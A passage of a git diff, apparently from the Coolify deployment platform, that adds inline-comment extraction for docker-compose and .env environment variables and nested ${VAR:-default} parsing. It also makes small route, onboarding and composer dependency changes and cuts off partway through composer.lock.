"SERVICE_FQDN_{$serviceName}", + 'key' => $fqdnKey, 'resourceable_type' => get_class($resource), 'resourceable_id' => $resource->id, ], [ 'value' => $fqdnValueForEnv, 'is_preview' => false, + 'comment' => $envComments[$fqdnKey] ?? null, ]); + $urlKey = "SERVICE_URL_{$serviceName}"; $resource->environment_variables()->updateOrCreate([ - 'key' => "SERVICE_URL_{$serviceName}", + 'key' => $urlKey, 'resourceable_type' => get_class($resource), 'resourceable_id' => $resource->id, ], [ 'value' => $url, 'is_preview' => false, + 'comment' => $envComments[$urlKey] ?? null, ]); // For port-specific variables, ALSO create port-specific pairs // If template variable has port, create both URL and FQDN with port suffix if ($parsed['has_port'] && $port) { + $fqdnPortKey = "SERVICE_FQDN_{$serviceName}_{$port}"; $resource->environment_variables()->updateOrCreate([ - 'key' => "SERVICE_FQDN_{$serviceName}_{$port}", + 'key' => $fqdnPortKey, 'resourceable_type' => get_class($resource), 'resourceable_id' => $resource->id, ], [ 'value' => $fqdnValueForEnvWithPort, 'is_preview' => false, + 'comment' => $envComments[$fqdnPortKey] ?? null, ]); + $urlPortKey = "SERVICE_URL_{$serviceName}_{$port}"; $resource->environment_variables()->updateOrCreate([ - 'key' => "SERVICE_URL_{$serviceName}_{$port}", + 'key' => $urlPortKey, 'resourceable_type' => get_class($resource), 'resourceable_id' => $resource->id, ], [ 'value' => $urlWithPort, 'is_preview' => false, + 'comment' => $envComments[$urlPortKey] ?? null, ]); } } } $allMagicEnvironments = $allMagicEnvironments->merge($magicEnvironments); if ($magicEnvironments->count() > 0) { - foreach ($magicEnvironments as $key => $value) { - $key = str($key); + foreach ($magicEnvironments as $magicKey => $value) { + $originalMagicKey = $magicKey; // Preserve original key for comment lookup + $key = str($magicKey); $value = replaceVariables($value); $command = parseCommandFromMagicEnvVariable($key); if ($command->value() === 'FQDN') { @@ -1762,18 +1860,33 @@ function serviceParser(Service $resource): Collection $serviceExists->fqdn = $url; $serviceExists->save(); } - $resource->environment_variables()->firstOrCreate([ + // Create FQDN variable + $resource->environment_variables()->updateOrCreate([ 'key' => $key->value(), 'resourceable_type' => get_class($resource), 'resourceable_id' => $resource->id, ], [ 'value' => $fqdn, 'is_preview' => false, + 'comment' => $envComments[$originalMagicKey] ?? null, + ]); + + // Also create the paired SERVICE_URL_* variable + $urlKey = 'SERVICE_URL_'.strtoupper($fqdnFor); + $resource->environment_variables()->updateOrCreate([ + 'key' => $urlKey, + 'resourceable_type' => get_class($resource), + 'resourceable_id' => $resource->id, + ], [ + 'value' => $url, + 'is_preview' => false, + 'comment' => $envComments[$urlKey] ?? null, ]); } elseif ($command->value() === 'URL') { $urlFor = $key->after('SERVICE_URL_')->lower()->value(); $url = generateUrl(server: $server, random: str($urlFor)->replace('_', '-')->value()."-$uuid"); + $fqdn = generateFqdn(server: $server, random: str($urlFor)->replace('_', '-')->value()."-$uuid", parserVersion: $resource->compose_parsing_version); $envExists = $resource->environment_variables()->where('key', $key->value())->first(); // Also check if a port-suffixed version exists (e.g., SERVICE_URL_DASHBOARD_6791) @@ -1790,24 +1903,39 @@ function serviceParser(Service $resource): Collection $serviceExists->fqdn = $url; $serviceExists->save(); } - $resource->environment_variables()->firstOrCreate([ + // Create URL variable + $resource->environment_variables()->updateOrCreate([ 'key' => $key->value(), 'resourceable_type' => get_class($resource), 'resourceable_id' => $resource->id, ], [ 'value' => $url, 'is_preview' => false, + 'comment' => $envComments[$originalMagicKey] ?? null, + ]); + + // Also create the paired SERVICE_FQDN_* variable + $fqdnKey = 'SERVICE_FQDN_'.strtoupper($urlFor); + $resource->environment_variables()->updateOrCreate([ + 'key' => $fqdnKey, + 'resourceable_type' => get_class($resource), + 'resourceable_id' => $resource->id, + ], [ + 'value' => $fqdn, + 'is_preview' => false, + 'comment' => $envComments[$fqdnKey] ?? null, ]); } else { $value = generateEnvValue($command, $resource); - $resource->environment_variables()->firstOrCreate([ + $resource->environment_variables()->updateOrCreate([ 'key' => $key->value(), 'resourceable_type' => get_class($resource), 'resourceable_id' => $resource->id, ], [ 'value' => $value, 'is_preview' => false, + 'comment' => $envComments[$originalMagicKey] ?? null, ]); } } @@ -2163,18 +2291,20 @@ function serviceParser(Service $resource): Collection return ! str($value)->startsWith('SERVICE_'); }); foreach ($normalEnvironments as $key => $value) { + $originalKey = $key; // Preserve original key for comment lookup $key = str($key); $value = str($value); $originalValue = $value; $parsedValue = replaceVariables($value); if ($parsedValue->startsWith('SERVICE_')) { - $resource->environment_variables()->firstOrCreate([ + $resource->environment_variables()->updateOrCreate([ 'key' => $key, 'resourceable_type' => get_class($resource), 'resourceable_id' => $resource->id, ], [ 'value' => $value, 'is_preview' => false, + 'comment' => $envComments[$originalKey] ?? null, ]); continue; @@ -2184,64 +2314,161 @@ function serviceParser(Service $resource): Collection } if ($key->value() === $parsedValue->value()) { $value = null; - $resource->environment_variables()->firstOrCreate([ + $resource->environment_variables()->updateOrCreate([ 'key' => $key, 'resourceable_type' => get_class($resource), 'resourceable_id' => $resource->id, ], [ 'value' => $value, 'is_preview' => false, + 'comment' => $envComments[$originalKey] ?? null, ]); } else { if ($value->startsWith('$')) { $isRequired = false; - if ($value->contains(':-')) { - $value = replaceVariables($value); - $key = $value->before(':'); - $value = $value->after(':-'); - } elseif ($value->contains('-')) { - $value = replaceVariables($value); - $key = $value->before('-'); - $value = $value->after('-'); - } elseif ($value->contains(':?')) { - $value = replaceVariables($value); + // Extract variable content between ${...} using balanced brace matching + $result = extractBalancedBraceContent($value->value(), 0); - $key = $value->before(':'); - $value = $value->after(':?'); - $isRequired = true; - } elseif ($value->contains('?')) { - $value = replaceVariables($value); + if ($result !== null) { + $content = $result['content']; + $split = splitOnOperatorOutsideNested($content); - $key = $value->before('?'); - $value = $value->after('?'); - $isRequired = true; - } - if ($originalValue->value() === $value->value()) { - // This means the variable does not have a default value, so it needs to be created in Coolify - $parsedKeyValue = replaceVariables($value); - $resource->environment_variables()->firstOrCreate([ - 'key' => $parsedKeyValue, + if ($split !== null) { + // Has default value syntax (:-, -, :?, or ?) + $varName = $split['variable']; + $operator = $split['operator']; + $defaultValue = $split['default']; + $isRequired = str_contains($operator, '?'); + + // Create the primary variable with its default (only if it doesn't exist) + // Use firstOrCreate instead of updateOrCreate to avoid overwriting user edits + $envVar = $resource->environment_variables()->firstOrCreate([ + 'key' => $varName, + 'resourceable_type' => get_class($resource), + 'resourceable_id' => $resource->id, + ], [ + 'value' => $defaultValue, + 'is_preview' => false, + 'is_required' => $isRequired, + 'comment' => $envComments[$originalKey] ?? null, + ]); + + // Add the variable to the environment so it will be shown in the deployable compose file + $environment[$varName] = $envVar->value; + + // Recursively process nested variables in default value + if (str_contains($defaultValue, '${')) { + // Extract and create nested variables + $searchPos = 0; + $nestedResult = extractBalancedBraceContent($defaultValue, $searchPos); + while ($nestedResult !== null) { + $nestedContent = $nestedResult['content']; + $nestedSplit = splitOnOperatorOutsideNested($nestedContent); + + // Determine the nested variable name + $nestedVarName = $nestedSplit !== null ? $nestedSplit['variable'] : $nestedContent; + + // Skip SERVICE_URL_* and SERVICE_FQDN_* variables - they are handled by magic variable system + $isMagicVariable = str_starts_with($nestedVarName, 'SERVICE_URL_') || str_starts_with($nestedVarName, 'SERVICE_FQDN_'); + + if (! $isMagicVariable) { + if ($nestedSplit !== null) { + // Create nested variable with its default (only if it doesn't exist) + $nestedEnvVar = $resource->environment_variables()->firstOrCreate([ + 'key' => $nestedSplit['variable'], + 'resourceable_type' => get_class($resource), + 'resourceable_id' => $resource->id, + ], [ + 'value' => $nestedSplit['default'], + 'is_preview' => false, + ]); + // Add nested variable to environment + $environment[$nestedSplit['variable']] = $nestedEnvVar->value; + } else { + // Simple nested variable without default (only if it doesn't exist) + $nestedEnvVar = $resource->environment_variables()->firstOrCreate([ + 'key' => $nestedContent, + 'resourceable_type' => get_class($resource), + 'resourceable_id' => $resource->id, + ], [ + 'is_preview' => false, + ]); + // Add nested variable to environment + $environment[$nestedContent] = $nestedEnvVar->value; + } + } + + // Look for more nested variables + $searchPos = $nestedResult['end'] + 1; + if ($searchPos >= strlen($defaultValue)) { + break; + } + $nestedResult = extractBalancedBraceContent($defaultValue, $searchPos); + } + } + } else { + // Simple variable reference without default + $resource->environment_variables()->updateOrCreate([ + 'key' => $content, + 'resourceable_type' => get_class($resource), + 'resourceable_id' => $resource->id, + ], [ + 'is_preview' => false, + 'is_required' => $isRequired, + 'comment' => $envComments[$originalKey] ?? null, + ]); + } + } else { + // Fallback to old behavior for malformed input (backward compatibility) + if ($value->contains(':-')) { + $value = replaceVariables($value); + $key = $value->before(':'); + $value = $value->after(':-'); + } elseif ($value->contains('-')) { + $value = replaceVariables($value); + $key = $value->before('-'); + $value = $value->after('-'); + } elseif ($value->contains(':?')) { + $value = replaceVariables($value); + $key = $value->before(':'); + $value = $value->after(':?'); + $isRequired = true; + } elseif ($value->contains('?')) { + $value = replaceVariables($value); + $key = $value->before('?'); + $value = $value->after('?'); + $isRequired = true; + } + + if ($originalValue->value() === $value->value()) { + // This means the variable does not have a default value + $parsedKeyValue = replaceVariables($value); + $resource->environment_variables()->updateOrCreate([ + 'key' => $parsedKeyValue, + 'resourceable_type' => get_class($resource), + 'resourceable_id' => $resource->id, + ], [ + 'is_preview' => false, + 'is_required' => $isRequired, + 'comment' => $envComments[$originalKey] ?? null, + ]); + // Add the variable to the environment so it will be shown in the deployable compose file + $environment[$parsedKeyValue->value()] = $value; + + continue; + } + $resource->environment_variables()->updateOrCreate([ + 'key' => $key, 'resourceable_type' => get_class($resource), 'resourceable_id' => $resource->id, ], [ + 'value' => $value, 'is_preview' => false, 'is_required' => $isRequired, + 'comment' => $envComments[$originalKey] ?? null, ]); - // Add the variable to the environment so it will be shown in the deployable compose file - $environment[$parsedKeyValue->value()] = $value; - - continue; } - $resource->environment_variables()->firstOrCreate([ - 'key' => $key, - 'resourceable_type' => get_class($resource), - 'resourceable_id' => $resource->id, - ], [ - 'value' => $value, - 'is_preview' => false, - 'is_required' => $isRequired, - ]); } } } diff --git a/bootstrap/helpers/services.php b/bootstrap/helpers/services.php index 3d2b61b86..bd741b76e 100644 --- a/bootstrap/helpers/services.php +++ b/bootstrap/helpers/services.php @@ -17,9 +17,118 @@ function collectRegex(string $name) { return "/{$name}\w+/"; } + +/** + * Extract content between balanced braces, handling nested braces properly. + * + * @param string $str The string to search + * @param int $startPos Position to start searching from + * @return array|null Array with 'content', 'start', and 'end' keys, or null if no balanced braces found + */ +function extractBalancedBraceContent(string $str, int $startPos = 0): ?array +{ + // Find opening brace + if ($startPos >= strlen($str)) { + return null; + } + $openPos = strpos($str, '{', $startPos); + if ($openPos === false) { + return null; + } + + // Track depth to find matching closing brace + $depth = 1; + $pos = $openPos + 1; + $len = strlen($str); + + while ($pos < $len && $depth > 0) { + if ($str[$pos] === '{') { + $depth++; + } elseif ($str[$pos] === '}') { + $depth--; + } + $pos++; + } + + if ($depth !== 0) { + // Unbalanced braces + return null; + } + + return [ + 'content' => substr($str, $openPos + 1, $pos - $openPos - 2), + 'start' => $openPos, + 'end' => $pos - 1, + ]; +} + +/** + * Split variable expression on operators (:-, -, :?, ?) while respecting nested braces. + * + * @param string $content The content to split (without outer ${...}) + * @return array|null Array with 'variable', 'operator', and 'default' keys, or null if no operator found + */ +function splitOnOperatorOutsideNested(string $content): ?array +{ + $operators = [':-', '-', ':?', '?']; + $depth = 0; + $len = strlen($content); + + for ($i = 0; $i < $len; $i++) { + if ($content[$i] === '{') { + $depth++; + } elseif ($content[$i] === '}') { + $depth--; + } elseif ($depth === 0) { + // Check for operators only at depth 0 (outside nested braces) + foreach ($operators as $op) { + if (substr($content, $i, strlen($op)) === $op) { + return [ + 'variable' => substr($content, 0, $i), + 'operator' => $op, + 'default' => substr($content, $i + strlen($op)), + ]; + } + } + } + } + + return null; +} + function replaceVariables(string $variable): Stringable { - return str($variable)->before('}')->replaceFirst('$', '')->replaceFirst('{', ''); + // Handle ${VAR} syntax with proper brace matching + $str = str($variable); + + // Handle ${VAR} format + if ($str->startsWith('${')) { + $result = extractBalancedBraceContent($variable, 0); + if ($result !== null) { + return str($result['content']); + } + + // Fallback to old behavior for malformed input + return $str->before('}')->replaceFirst('$', '')->replaceFirst('{', ''); + } + + // Handle {VAR} format (from regex capture group without $) + if ($str->startsWith('{') && $str->endsWith('}')) { + return str(substr($variable, 1, -1)); + } + + // Handle {VAR format (from regex capture group, may be truncated) + if ($str->startsWith('{')) { + $result = extractBalancedBraceContent('$'.$variable, 0); + if ($result !== null) { + return str($result['content']); + } + + // Fallback: remove { and get content before } + return $str->replaceFirst('{', '')->before('}'); + } + + return $str; } function getFilesystemVolumesFromServer(ServiceApplication|ServiceDatabase|Application $oneService, bool $isInit = false) diff --git a/bootstrap/helpers/shared.php b/bootstrap/helpers/shared.php index 2173e7619..a1cecc879 100644 --- a/bootstrap/helpers/shared.php +++ b/bootstrap/helpers/shared.php @@ -167,6 +167,10 @@ function currentTeam() function showBoarding(): bool { + if (isDev()) { + return false; + } + if (Auth::user()?->isMember()) { return false; } @@ -444,19 +448,286 @@ function parseEnvFormatToArray($env_file_contents) $equals_pos = strpos($line, '='); if ($equals_pos !== false) { $key = substr($line, 0, $equals_pos); - $value = substr($line, $equals_pos + 1); - if (substr($value, 0, 1) === '"' && substr($value, -1) === '"') { - $value = substr($value, 1, -1); - } elseif (substr($value, 0, 1) === "'" && substr($value, -1) === "'") { - $value = substr($value, 1, -1); + $value_and_comment = substr($line, $equals_pos + 1); + $comment = null; + $remainder = ''; + + // Check if value starts with quotes + $firstChar = $value_and_comment[0] ?? ''; + $isDoubleQuoted = $firstChar === '"'; + $isSingleQuoted = $firstChar === "'"; + + if ($isDoubleQuoted) { + // Find the closing double quote + $closingPos = strpos($value_and_comment, '"', 1); + if ($closingPos !== false) { + // Extract quoted value and remove quotes + $value = substr($value_and_comment, 1, $closingPos - 1); + // Everything after closing quote (including comments) + $remainder = substr($value_and_comment, $closingPos + 1); + } else { + // No closing quote - treat as unquoted + $value = substr($value_and_comment, 1); + } + } elseif ($isSingleQuoted) { + // Find the closing single quote + $closingPos = strpos($value_and_comment, "'", 1); + if ($closingPos !== false) { + // Extract quoted value and remove quotes + $value = substr($value_and_comment, 1, $closingPos - 1); + // Everything after closing quote (including comments) + $remainder = substr($value_and_comment, $closingPos + 1); + } else { + // No closing quote - treat as unquoted + $value = substr($value_and_comment, 1); + } + } else { + // Unquoted value - strip inline comments + // Only treat # as comment if preceded by whitespace + if (preg_match('/\s+#/', $value_and_comment, $matches, PREG_OFFSET_CAPTURE)) { + // Found whitespace followed by #, extract comment + $remainder = substr($value_and_comment, $matches[0][1]); + $value = substr($value_and_comment, 0, $matches[0][1]); + $value = rtrim($value); + } else { + $value = $value_and_comment; + } } - $env_array[$key] = $value; + + // Extract comment from remainder (if any) + if ($remainder !== '') { + // Look for # in remainder + $hashPos = strpos($remainder, '#'); + if ($hashPos !== false) { + // Extract everything after the # and trim + $comment = substr($remainder, $hashPos + 1); + $comment = trim($comment); + // Set to null if empty after trimming + if ($comment === '') { + $comment = null; + } + } + } + + $env_array[$key] = [ + 'value' => $value, + 'comment' => $comment, + ]; } } return $env_array; } +/** + * Extract inline comments from environment variables in raw docker-compose YAML. + * + * Parses raw docker-compose YAML to extract inline comments from environment sections. + * Standard YAML parsers discard comments, so this pre-processes the raw text. + * + * Handles both formats: + * - Map format: `KEY: "value" # comment` or `KEY: value # comment` + * - Array format: `- KEY=value # comment` + * + * @param string $rawYaml The raw docker-compose.yml content + * @return array Map of environment variable keys to their inline comments + */ +function extractYamlEnvironmentComments(string $rawYaml): array +{ + $comments = []; + $lines = explode("\n", $rawYaml); + $inEnvironmentBlock = false; + $environmentIndent = 0; + + foreach ($lines as $line) { + // Skip empty lines + if (trim($line) === '') { + continue; + } + + // Calculate current line's indentation (number of leading spaces) + $currentIndent = strlen($line) - strlen(ltrim($line)); + + // Check if this line starts an environment block + if (preg_match('/^(\s*)environment\s*:\s*$/', $line, $matches)) { + $inEnvironmentBlock = true; + $environmentIndent = strlen($matches[1]); + + continue; + } + + // Check if this line starts an environment block with inline content (rare but possible) + if (preg_match('/^(\s*)environment\s*:\s*\{/', $line)) { + // Inline object format - not supported for comment extraction + continue; + } + + // If we're in an environment block, check if we've exited it + if ($inEnvironmentBlock) { + // If we hit a line with same or less indentation that's not empty, we've left the block + // Unless it's a continuation of the environment block + $trimmedLine = ltrim($line); + + // Check if this is a new top-level key (same indent as 'environment:' or less) + if ($currentIndent <= $environmentIndent && ! str_starts_with($trimmedLine, '-') && ! str_starts_with($trimmedLine, '#')) { + // Check if it looks like a YAML key (contains : not inside quotes) + if (preg_match('/^[a-zA-Z_][a-zA-Z0-9_]*\s*:/', $trimmedLine)) { + $inEnvironmentBlock = false; + + continue; + } + } + + // Skip comment-only lines + if (str_starts_with($trimmedLine, '#')) { + continue; + } + + // Try to extract environment variable and comment from this line + $extracted = extractEnvVarCommentFromYamlLine($trimmedLine); + if ($extracted !== null && $extracted['comment'] !== null) { + $comments[$extracted['key']] = $extracted['comment']; + } + } + } + + return $comments; +} + +/** + * Extract environment variable key and inline comment from a single YAML line. + * + * @param string $line A trimmed line from the environment section + * @return array|null Array with 'key' and 'comment', or null if not an env var line + */ +function extractEnvVarCommentFromYamlLine(string $line): ?array +{ + $key = null; + $comment = null; + + // Handle array format: `- KEY=value # comment` or `- KEY # comment` + if (str_starts_with($line, '-')) { + $content = ltrim(substr($line, 1)); + + // Check for KEY=value format + if (preg_match('/^([A-Za-z_][A-Za-z0-9_]*)/', $content, $keyMatch)) { + $key = $keyMatch[1]; + // Find comment - need to handle quoted values + $comment = extractCommentAfterValue($content); + } + } + // Handle map format: `KEY: "value" # comment` or `KEY: value # comment` + elseif (preg_match('/^([A-Za-z_][A-Za-z0-9_]*)\s*:/', $line, $keyMatch)) { + $key = $keyMatch[1]; + // Get everything after the key and colon + $afterKey = substr($line, strlen($keyMatch[0])); + $comment = extractCommentAfterValue($afterKey); + } + + if ($key === null) { + return null; + } + + return [ + 'key' => $key, + 'comment' => $comment, + ]; +} + +/** + * Extract inline comment from a value portion of a YAML line. + * + * Handles quoted values (where # inside quotes is not a comment). + * + * @param string $valueAndComment The value portion (may include comment) + * @return string|null The comment text, or null if no comment + */ +function extractCommentAfterValue(string $valueAndComment): ?string +{ + $valueAndComment = ltrim($valueAndComment); + + if ($valueAndComment === '') { + return null; + } + + $firstChar = $valueAndComment[0] ?? ''; + + // Handle case where value is empty and line starts directly with comment + // e.g., `KEY: # comment` becomes `# comment` after ltrim + if ($firstChar === '#') { + $comment = trim(substr($valueAndComment, 1)); + + return $comment !== '' ? $comment : null; + } + + // Handle double-quoted value + if ($firstChar === '"') { + // Find closing quote (handle escaped quotes) + $pos = 1; + $len = strlen($valueAndComment); + while ($pos < $len) { + if ($valueAndComment[$pos] === '\\' && $pos + 1 < $len) { + $pos += 2; // Skip escaped character + + continue; + } + if ($valueAndComment[$pos] === '"') { + // Found closing quote + $remainder = substr($valueAndComment, $pos + 1); + + return extractCommentFromRemainder($remainder); + } + $pos++; + } + + // No closing quote found + return null; + } + + // Handle single-quoted value + if ($firstChar === "'") { + // Find closing quote (single quotes don't have escapes in YAML) + $closingPos = strpos($valueAndComment, "'", 1); + if ($closingPos !== false) { + $remainder = substr($valueAndComment, $closingPos + 1); + + return extractCommentFromRemainder($remainder); + } + + // No closing quote found + return null; + } + + // Unquoted value - find # that's preceded by whitespace + // Be careful not to match # at the start of a value like color codes + if (preg_match('/\s+#\s*(.*)$/', $valueAndComment, $matches)) { + $comment = trim($matches[1]); + + return $comment !== '' ? $comment : null; + } + + return null; +} + +/** + * Extract comment from the remainder of a line after a quoted value. + * + * @param string $remainder Text after the closing quote + * @return string|null The comment text, or null if no comment + */ +function extractCommentFromRemainder(string $remainder): ?string +{ + // Look for # in remainder + $hashPos = strpos($remainder, '#'); + if ($hashPos !== false) { + $comment = trim(substr($remainder, $hashPos + 1)); + + return $comment !== '' ? $comment : null; + } + + return null; +} + function data_get_str($data, $key, $default = null): Stringable { $str = data_get($data, $key, $default) ?? $default; @@ -1313,6 +1584,9 @@ function parseDockerComposeFile(Service|Application $resource, bool $isNew = fal { if ($resource->getMorphClass() === \App\Models\Service::class) { if ($resource->docker_compose_raw) { + // Extract inline comments from raw YAML before Symfony parser discards them + $envComments = extractYamlEnvironmentComments($resource->docker_compose_raw); + try { $yaml = Yaml::parse($resource->docker_compose_raw); } catch (\Exception $e) { @@ -1344,7 +1618,7 @@ function parseDockerComposeFile(Service|Application $resource, bool $isNew = fal } $topLevelVolumes = collect($tempTopLevelVolumes); } - $services = collect($services)->map(function ($service, $serviceName) use ($topLevelVolumes, $topLevelNetworks, $definedNetwork, $isNew, $generatedServiceFQDNS, $resource, $allServices) { + $services = collect($services)->map(function ($service, $serviceName) use ($topLevelVolumes, $topLevelNetworks, $definedNetwork, $isNew, $generatedServiceFQDNS, $resource, $allServices, $envComments) { // Workarounds for beta users. if ($serviceName === 'registry') { $tempServiceName = 'docker-registry'; @@ -1690,6 +1964,8 @@ function parseDockerComposeFile(Service|Application $resource, bool $isNew = fal $key = str($variableName); $value = str($variable); } + // Preserve original key for comment lookup before $key might be reassigned + $originalKey = $key->value(); if ($key->startsWith('SERVICE_FQDN')) { if ($isNew || $savedService->fqdn === null) { $name = $key->after('SERVICE_FQDN_')->beforeLast('_')->lower(); @@ -1743,6 +2019,7 @@ function parseDockerComposeFile(Service|Application $resource, bool $isNew = fal 'resourceable_type' => get_class($resource), 'resourceable_id' => $resource->id, 'is_preview' => false, + 'comment' => $envComments[$originalKey] ?? null, ]); } // Caddy needs exact port in some cases. @@ -1822,6 +2099,7 @@ function parseDockerComposeFile(Service|Application $resource, bool $isNew = fal 'resourceable_type' => get_class($resource), 'resourceable_id' => $resource->id, 'is_preview' => false, + 'comment' => $envComments[$originalKey] ?? null, ]); } if (! $isDatabase) { @@ -1860,6 +2138,7 @@ function parseDockerComposeFile(Service|Application $resource, bool $isNew = fal 'resourceable_type' => get_class($resource), 'resourceable_id' => $resource->id, 'is_preview' => false, + 'comment' => $envComments[$originalKey] ?? null, ]); } } @@ -1898,6 +2177,7 @@ function parseDockerComposeFile(Service|Application $resource, bool $isNew = fal 'resourceable_type' => get_class($resource), 'resourceable_id' => $resource->id, 'is_preview' => false, + 'comment' => $envComments[$originalKey] ?? null, ]); } } @@ -3443,6 +3723,58 @@ function verifyPasswordConfirmation(mixed $password, ?Livewire\Component $compon return true; } +/** + * Extract hard-coded environment variables from docker-compose YAML. + * + * @param string $dockerComposeRaw Raw YAML content + * @return \Illuminate\Support\Collection Collection of arrays with: key, value, comment, service_name + */ +function extractHardcodedEnvironmentVariables(string $dockerComposeRaw): \Illuminate\Support\Collection +{ + if (blank($dockerComposeRaw)) { + return collect([]); + } + + try { + $yaml = \Symfony\Component\Yaml\Yaml::parse($dockerComposeRaw); + } catch (\Exception $e) { + // Malformed YAML - return empty collection + return collect([]); + } + + $services = data_get($yaml, 'services', []); + if (empty($services)) { + return collect([]); + } + + // Extract inline comments from raw YAML + $envComments = extractYamlEnvironmentComments($dockerComposeRaw); + + $hardcodedVars = collect([]); + + foreach ($services as $serviceName => $service) { + $environment = collect(data_get($service, 'environment', [])); + + if ($environment->isEmpty()) { + continue; + } + + // Convert environment variables to key-value format + $environment = convertToKeyValueCollection($environment); + + foreach ($environment as $key => $value) { + $hardcodedVars->push([ + 'key' => $key, + 'value' => $value, + 'comment' => $envComments[$key] ?? null, + 'service_name' => $serviceName, + ]); + } + } + + return $hardcodedVars; +} + /** * Downsample metrics using the Largest-Triangle-Three-Buckets (LTTB) algorithm. * This preserves the visual shape of the data better than simple averaging. diff --git a/bootstrap/helpers/subscriptions.php b/bootstrap/helpers/subscriptions.php index 4b84fb7f6..709af854a 100644 --- a/bootstrap/helpers/subscriptions.php +++ b/bootstrap/helpers/subscriptions.php @@ -77,6 +77,7 @@ function allowedPathsForUnsubscribedAccounts() 'login', 'logout', 'force-password-reset', + 'two-factor-challenge', 'livewire/update', 'admin', ]; @@ -95,6 +96,7 @@ function allowedPathsForInvalidAccounts() 'logout', 'verify', 'force-password-reset', + 'two-factor-challenge', 'livewire/update', ]; } diff --git a/composer.json b/composer.json index 1c36df1ea..fc71dea8f 100644 --- a/composer.json +++ b/composer.json @@ -69,6 +69,7 @@ "mockery/mockery": "^1.6.12", "nunomaduro/collision": "^8.8.3", "pestphp/pest": "^4.3.2", + "pestphp/pest-plugin-browser": "^4.2", "phpstan/phpstan": "^2.1.38", "rector/rector": "^2.3.5", "serversideup/spin": "^3.1.1", diff --git a/composer.lock b/composer.lock index 708382500..7c1e000e5 100644 --- a/composer.lock +++ b/composer.lock @@ -4,7 +4,7 @@ "Read more about it at https://getcomposer.org/doc/01-basic-usage.md#installing-dependencies", "This file is @generated automatically" ], - "content-hash": "d22beb5f7db243339d029a288bdfe33e", + "content-hash": "21d43f41d2f2e275403e77ccc66ec553", "packages": [ { "name": "aws/aws-crt-php", @@ -11636,6 +11636,1228 @@ } ], "packages-dev": [ + { + "name": "amphp/amp", + "version": "v3.1.1", + "source": { + "type": "git", + "url": "https://github.com/amphp/amp.git", + "reference": "fa0ab33a6f47a82929c38d03ca47ebb71086a93f" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/amphp/amp/zipball/fa0ab33a6f47a82929c38d03ca47ebb71086a93f", + "reference": "fa0ab33a6f47a82929c38d03ca47ebb71086a93f", + "shasum": "" + }, + "require": { + "php": ">=8.1", + "revolt/event-loop": "^1 || ^0.2" + }, + "require-dev": { + "amphp/php-cs-fixer-config": "^2", + "phpunit/phpunit": "^9", + "psalm/phar": "5.23.1" + }, + "type": "library", + "autoload": { + "files": [ + "src/functions.php", + "src/Future/functions.php", + "src/Internal/functions.php" + ], + "psr-4": { + "Amp\\": "src" + } + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "MIT" + ], + "authors": [ + { + "name": "Aaron Piotrowski", + "email": "aaron@trowski.com" + }, + { + "name": "Bob Weinand", + "email": "bobwei9@hotmail.com" + }, + { + "name": "Niklas Keller", + "email": "me@kelunik.com" + }, + { + "name": "Daniel Lowrey", + "email": "rdlowrey@php.net" + } + ], + "description": "A non-blocking concurrency framework for PHP applications.", + "homepage": "https://amphp.org/amp", + "keywords": [ + "async", + "asynchronous", + "awaitable", + "concurrency", + "event", + "event-loop", + "future", + "non-blocking", + "promise" + ], + "support": { + "issues": "https://github.com/amphp/amp/issues", + "source": "https://github.com/amphp/amp/tree/v3.1.1" + }, + "funding": [ + { + "url": "https://github.com/amphp", + "type": "github" + } + ], + "time": "2025-08-27T21:42:00+00:00" + }, + { + "name": "amphp/byte-stream", + "version": "v2.1.2", + "source": { + "type": "git", + "url": "https://github.com/amphp/byte-stream.git", + "reference": "55a6bd071aec26fa2a3e002618c20c35e3df1b46" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/amphp/byte-stream/zipball/55a6bd071aec26fa2a3e002618c20c35e3df1b46", + "reference": "55a6bd071aec26fa2a3e002618c20c35e3df1b46", + "shasum": "" + }, + "require": { + "amphp/amp": "^3", + "amphp/parser": "^1.1", + "amphp/pipeline": "^1", + "amphp/serialization": "^1", + "amphp/sync": "^2", + "php": ">=8.1", + "revolt/event-loop": "^1 || ^0.2.3" + }, + "require-dev": { + "amphp/php-cs-fixer-config": "^2", + "amphp/phpunit-util": "^3", + "phpunit/phpunit": "^9", + "psalm/phar": "5.22.1" + }, + "type": "library", + "autoload": { + "files": [ + "src/functions.php", + "src/Internal/functions.php" + ], + "psr-4": { + "Amp\\ByteStream\\": "src" + } + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "MIT" + ], + "authors": [ + { + "name": "Aaron Piotrowski", + "email": "aaron@trowski.com" + }, + { + "name": "Niklas Keller", + "email": "me@kelunik.com" + } + ], + "description": "A stream abstraction to make working with non-blocking I/O simple.", + "homepage": "https://amphp.org/byte-stream", + "keywords": [ + "amp", + "amphp", + "async", + "io", + "non-blocking", + "stream" + ], + "support": { + "issues": "https://github.com/amphp/byte-stream/issues", + "source": "https://github.com/amphp/byte-stream/tree/v2.1.2" + }, + "funding": [ + { + "url": "https://github.com/amphp", + "type": "github" + } + ], + "time": "2025-03-16T17:10:27+00:00" + }, + { + "name": "amphp/cache", + "version": "v2.0.1", + "source": { + "type": "git", + "url": "https://github.com/amphp/cache.git", + "reference": "46912e387e6aa94933b61ea1ead9cf7540b7797c" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/amphp/cache/zipball/46912e387e6aa94933b61ea1ead9cf7540b7797c", + "reference": "46912e387e6aa94933b61ea1ead9cf7540b7797c", + "shasum": "" + }, + "require": { + "amphp/amp": "^3", + "amphp/serialization": "^1", + "amphp/sync": "^2", + "php": ">=8.1", + "revolt/event-loop": "^1 || ^0.2" + }, + "require-dev": { + "amphp/php-cs-fixer-config": "^2", + "amphp/phpunit-util": "^3", + "phpunit/phpunit": "^9", + "psalm/phar": "^5.4" + }, + "type": "library", + "autoload": { + "psr-4": { + "Amp\\Cache\\": "src" + } + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "MIT" + ], + "authors": [ + { + "name": "Niklas Keller", + "email": "me@kelunik.com" + }, + { + "name": "Aaron Piotrowski", + "email": "aaron@trowski.com" + }, + { + "name": "Daniel Lowrey", + "email": "rdlowrey@php.net" + } + ], + "description": "A fiber-aware cache API based on Amp and Revolt.", + "homepage": "https://amphp.org/cache", + "support": { + "issues": "https://github.com/amphp/cache/issues", + "source": "https://github.com/amphp/cache/tree/v2.0.1" + }, + "funding": [ + { + "url": "https://github.com/amphp", + "type": "github" + } + ], + "time": 